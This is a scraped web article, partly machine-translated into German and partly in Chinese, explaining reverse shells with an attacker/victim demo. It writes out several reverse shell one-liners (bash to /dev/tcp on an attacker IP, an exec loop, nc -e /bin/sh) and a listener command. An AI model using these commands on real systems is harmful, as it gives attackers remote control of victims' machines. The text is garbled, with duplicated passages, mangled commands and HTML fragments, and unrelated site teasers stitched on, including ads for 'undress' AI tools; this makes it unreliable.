Was bedeutet Rebound-Shell?
* Feierliche Erklärung: Dieser Artikel ist auf technische Diskussionen und Weitergabe beschränkt und die Verwendung auf illegale Weise ist strengstens untersagt.
0x00 Vorwort
Rebound shell
bedeutet, dass das Kontrollende einen bestimmten TCP/UDP
-Port abhört und das kontrollierte Ende eine Anfrage an den Port initiiert und diese sendet Befehlszeileneingabe und -ausgabe gehen an die Steuerungsseite. shell
,就是控制端监听在某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
通俗点说,反弹shell
就是一种反向链接,与正向的ssh
等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。
为什么要反弹shell
? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web
服务,ssh
,telnet
等等,都是正向连接。
那么什么情况下正向连接不太好用了呢:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的
ip
会动态改变,你不能持续控制。3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell
。
0x01 反弹shell演示
我们用bash
远程代码执行漏洞实例来了解一下他的原理
攻击端:10.100.40.5 受害机:192.168.197.136
首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333
然后在受害机执行命令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell
,在我们的攻击端就能对受害端来进行下一步操作
例如:
0x02 原理
2.1 反弹shell的命令原理
(1)bash -i
bash
是linux
的一个比较常见的shell
,是许多Linux
发行版的默认Shell
。-i
这个参数的意思是产生交互式的shell
(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux
下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket
通信
我们输出字符到/dev/tcp
这个文件中
受害端:
攻击端:
(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333
端口,并且在攻击端输入内容回车就会出现在受害端。
(5)这样思路就比较清晰了,下面再说交互重定向:
为了实现交互,我们需要把受害者交互式shell
shell
eine Art Rückwärtslink, der sich von Forward ssh
unterscheidet. Es handelt sich um einen Angriff, der Befehle auf dem Computer der anderen Partei ausführt, um eine Verbindung herzustellen auf unserer Seite, und dieser Angriffsmodus muss mit einer Sicherheitslücke bei der Remote-Befehlsausführung verwendet werden. Warum Rebound shell
? Es wird normalerweise verwendet, wenn das kontrollierte Ende durch eine Firewall eingeschränkt ist, keine Berechtigungen vorhanden sind und der Port belegt ist. Angenommen, wir greifen eine Maschine an und öffnen einen Port auf der Maschine. Dies ist eine konventionellere Form. Remote-Desktop, Web
-Dienst, ssh
, telnet
usw. sind alles Vorwärtsverbindungen. Unter welchen Umständen ist die Vorwärtsverbindung nicht einfach zu verwenden:
🎜1. Ein Client hat Ihr Netzwerkpferd getroffen, aber es befindet sich im LAN und Sie können keine direkte Verbindung herstellen. 🎜🎜2. Seine ip
ändert sich dynamisch und Sie können ihn nicht kontinuierlich steuern. 🎜🎜3. Aufgrund von Einschränkungen wie Firewalls kann der andere Computer nur Anfragen senden, aber keine Anfragen empfangen. 🎜🎜4. Es ist nicht bekannt, wann das Opfer mit Viren oder Trojanern infiziert wird, wie die Netzwerkumgebung der anderen Partei aussieht und wann der Computer ein- und ausgeschaltet werden muss. Daher ist es am besten, einen Server einzurichten und Schadprogramme zuzulassen sich aktiv zu vernetzen. 🎜
🎜Dann ist Rebound leicht zu verstehen. Der Angreifer gibt den Server an und der Host des Opfers stellt eine aktive Verbindung zum Serverprogramm des Angreifers her, das als Rebound shell
bezeichnet wird. 🎜🎜0x01 Rebound-Shell-Demonstration🎜🎜Wir verwenden das Beispiel einer bash
-Sicherheitslücke bei Remotecodeausführung, um das Prinzip zu verstehen🎜🎜Angriffsende: 10.100.40.5 Opfermaschine: 192.168.197.136🎜 blockquote >🎜Zuerst müssen wir den Port auf der Angriffsseite abhören und diesen Port verwenden, um die vom Opfercomputer zurückgesendeteShell
zu empfangen. Geben Sie den Befehlnc -l 2333 ein
am Angriffsende. 🎜🎜🎜🎜Dann führen Sie den Befehl auf dem Opfercomputer aus 🎜
🎜bash -i > /dev/tcp 10.100.40.5/2333Nach dem Login kopieren🎜🎜Wir haben festgestellt, dass auf unserer Angriffsseite die
Shell
unserer Opferseite erfolgreich angezeigt wurde und wir den nächsten Schritt auf der Opferseite auf unserer Angriffsseite ausführen können🎜🎜🎜🎜Zum Beispiel: 🎜🎜
🎜🎜0x02 Prinzip🎜
2.1 Prinzip des Befehls der Rebound-Shell
🎜(1)bash -i
🎜🎜bash
ist eine gängigeShell
vonlinux
und ist Wird von der Standard-Shell
vielerLinux
-Distributionen verwendet.-i
Dieser Parameter bedeutet, eine interaktiveShell
🎜🎜(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
Diese Datei ist etwas ganz Besonderes. Tatsächlich kann sie als Gerät betrachtet werden (alles unterLinux
-Datei). Wenn Sie auf den Speicherort dieser Datei zugreifen, ist sie tatsächlich nicht vorhanden, wie unten gezeigt: 🎜🎜🎜🎜(3) Wenn Sie diese Datei jedoch lesen und schreiben, während eine Partei den Port abhört, können Sie
socket
erreichen, während der Server abhört der Port. >Kommunikation🎜🎜Wir geben Zeichen in die Datei/dev/tcp
🎜🎜Victim Ende:🎜🎜🎜🎜Angriffsende: 🎜🎜
🎜🎜(4) Als nächstes schauen wir uns die Übertragung der Ausgabe an das Opferende an und hören weiterhin auf den
2333
Port auf der Angriffsseite und wenn der Angreifer den Inhalt eingibt und die Eingabetaste drückt, wird er auf der Opferseite angezeigt. 🎜🎜🎜🎜
🎜🎜(5) Auf diese Weise wird die Idee klarer, lasst uns darüber reden die Interaktion unten Richtung: 🎜🎜Um eine Interaktion zu erreichen, müssen wir die Ausgabe der interaktiven
Shell
an die Angriffsmaschine umleiten. 🎜🎜Auf der Opfermaschine eingeben: 🎜bash -i 🎜Dann finden wir Unabhängig davon, welcher Befehl eingegeben wird, wird kein Echo angezeigt und die Standardausgabe des Angriffsendes wird an das Angriffsende weitergeleitet. 🎜🎜🎜🎜<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352250437.jpg" class="lazy" alt="Was bedeutet Rebound-Shell?"></p><p>这样只是回显而已,并没有办法在攻击端直接执行命令。</p><p>(6)所以我们还需要将攻击者输入的指令输入给受害者的<code>bash</code>:</p><pre class="brush:php;toolbar:false">bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" class="lazy" alt="Was bedeutet Rebound-Shell?"></p><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" class="lazy" alt="Was bedeutet Rebound-Shell?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1Nach dem Login kopieren受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由
/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1Nach dem Login kopieren这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
2.2 常见反弹shell方法
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196Nach dem Login kopieren(4) 方法四
nc -e /bin/sh 10.100.40.5 2333Nach dem Login kopieren
Das obige ist der detaillierte Inhalt vonWas bedeutet Rebound-Shell?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

Video Face Swap
Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen





<p>Die Anpassung Ihres Betriebssystems ist eine großartige Möglichkeit, Ihren Alltag angenehmer zu gestalten. Sie können die Benutzeroberfläche ändern, benutzerdefinierte Designs anwenden, Widgets hinzufügen und mehr. Deshalb zeigen wir Ihnen heute, wie Sie ClassicShell unter Windows 11 installieren. </p><p>Dieses Programm gibt es schon seit langer Zeit und ermöglicht es Ihnen, das Betriebssystem zu ändern. Mittlerweile haben Freiwillige die Leitung der Organisation übernommen, die sich 2017 auflöste. Das neue Projekt heißt OpenShell und ist derzeit für Interessierte auf Github verfügbar. </p>&a

Wird beim Ausführen des Skripts in PowerShell die Fehlermeldung „Add-AppxPackage: Bereitstellung fehlgeschlagen mit HRESULT: 0x80073D02, Das Paket kann nicht installiert werden, da die von ihm geänderte Ressource derzeit verwendet wird. Fehler 0x80073D02...“ angezeigt? Wie in der Fehlermeldung angegeben, tritt dies auf, wenn der Benutzer versucht, eine oder alle WindowsShellExperienceHost-Anwendungen erneut zu registrieren, während der vorherige Prozess ausgeführt wird. Wir haben einige einfache Lösungen, um dieses Problem schnell zu beheben. Fix 1 – Beenden Sie den Experience-Host-Prozess, den Sie beenden müssen, bevor Sie den Powershell-Befehl ausführen
![Explorer.exe startet beim Systemstart nicht [Fix]](https://img.php.cn/upload/article/000/887/227/168575230155539.png?x-oss-process=image/resize,m_fill,h_207,w_330)
Heutzutage stoßen viele Windows-Benutzer auf schwerwiegende Windows-Systemprobleme. Das Problem besteht darin, dass Explorer.exe nach dem Laden des Systems nicht gestartet werden kann und Benutzer keine Dateien oder Ordner öffnen können. Allerdings können Windows-Benutzer in einigen Fällen den Windows Explorer manuell über die Eingabeaufforderung öffnen und müssen dies bei jedem Systemneustart oder nach dem Systemstart tun. Dies kann problematisch sein und ist auf die folgenden Faktoren zurückzuführen. Beschädigte Systemdateien. Aktivieren Sie die Schnellstarteinstellungen. Veraltete oder problematische Anzeigetreiber. An einigen Diensten im System wurden Änderungen vorgenommen. Geänderte Registrierungsdatei. Unter Berücksichtigung aller oben genannten Faktoren haben wir einige gefunden, die den Benutzern sicherlich helfen werden

Open Shell, das unter Windows 11 nicht läuft, ist kein neues Problem und plagt Benutzer seit der Einführung dieses neuen Betriebssystems. Die Ursache für das Problem, dass Open-Shell Windows 11 nicht funktioniert, ist nicht spezifisch. Dies kann durch unerwartete Fehler in Programmen, das Vorhandensein von Viren oder Malware oder beschädigte Systemdateien verursacht werden. Für diejenigen, die es nicht wissen: Open-Shell ist der Ersatz für Classic Shell, das 2017 eingestellt wurde. Sie können sich unser Tutorial zur Installation von Classic Shell unter Windows 11 ansehen. So ersetzen Sie das Startmenü von Windows 11

Bei der Verarbeitung von Dateien unter Linux-Systemen ist es manchmal erforderlich, Zeilen am Ende der Datei zu löschen. Dieser Vorgang kommt in praktischen Anwendungen sehr häufig vor und kann durch einige einfache Befehle erreicht werden. In diesem Artikel werden die Schritte zum schnellen Löschen der Zeile am Ende der Datei im Linux-System vorgestellt und spezifische Codebeispiele bereitgestellt. Schritt 1: Überprüfen Sie die letzte Zeile der Datei. Bevor Sie den Löschvorgang durchführen, müssen Sie zunächst bestätigen, welche Zeile die letzte Zeile der Datei ist. Sie können den Befehl tail verwenden, um die letzte Zeile der Datei anzuzeigen. Der spezifische Befehl lautet wie folgt: tail-n1filena

Windows-Subsystem für Linux Die erste Option ist die Verwendung des Windows-Subsystems für Linux oder WSL, einer Kompatibilitätsschicht für die native Ausführung binärer ausführbarer Linux-Dateien auf Windows-Systemen. Es funktioniert für die meisten Szenarien und ermöglicht Ihnen die Ausführung von Shell-Skripten in Windows 11/10. WSL ist nicht automatisch verfügbar, daher müssen Sie es über die Entwicklereinstellungen Ihres Windows-Geräts aktivieren. Sie können dies tun, indem Sie zu Einstellungen > Update & Sicherheit > Für Entwickler gehen. Wechseln Sie in den Entwicklermodus und bestätigen Sie die Abfrage mit Ja. Suchen Sie als nächstes nach W

Einige Beispiele für Python-Skripte: Unternehmens-WeChat-Alarme, FTP-Clients, SSH-Clients, Saltstack-Clients, vCenter-Clients, Abrufen der Ablaufzeit des SSL-Zertifikats für Domänennamen, Senden der heutigen Wettervorhersage und zukünftiger Wettertrenddiagramme: SVN-Vollsicherung; Zabbix überwacht den Ablauf des Benutzerkennworts, erstellt lokales YUM und die Anforderungen der Leser im vorherigen Artikel (wenn die Auslastung hoch ist, finden Sie heraus, welche Prozessskripte eine relativ hohe Auslastung belegen und Benachrichtigungen speichern oder pushen). Bitte haben Sie etwas Geduld. Am Ende des Artikels gibt es doch noch ein Easter Egg. Python-Skript ist Teil des WeChat-Alarms für Unternehmen. Dieses Skript verwendet die WeChat-Anwendung des Unternehmens, um einen WeChat-Alarm durchzuführen, und kann verwendet werden

OpenShell ist ein kostenloses Software-Dienstprogramm, mit dem Sie das Startmenü von Windows 11 so anpassen können, dass es einem Menü im klassischen Stil oder einem Menü im Windows 7-Stil ähnelt. Das Startmenü früherer Windows-Versionen bot Benutzern eine einfache Möglichkeit, den Inhalt ihres Systems zu durchsuchen. Im Grunde ist OpenShell ein Ersatz für ClassicShell, der verschiedene Benutzeroberflächenelemente bereitstellt, die dabei helfen, die Funktionalität der letzteren Version aus früheren Windows-Versionen zu übernehmen. Nachdem die Entwicklung von ClassicShell im Jahr 2017 eingestellt wurde, wurde es von GitHub-Freiwilligen unter dem Namen OpenShell gepflegt und weiterentwickelt. Es hängt mit Win zusammen
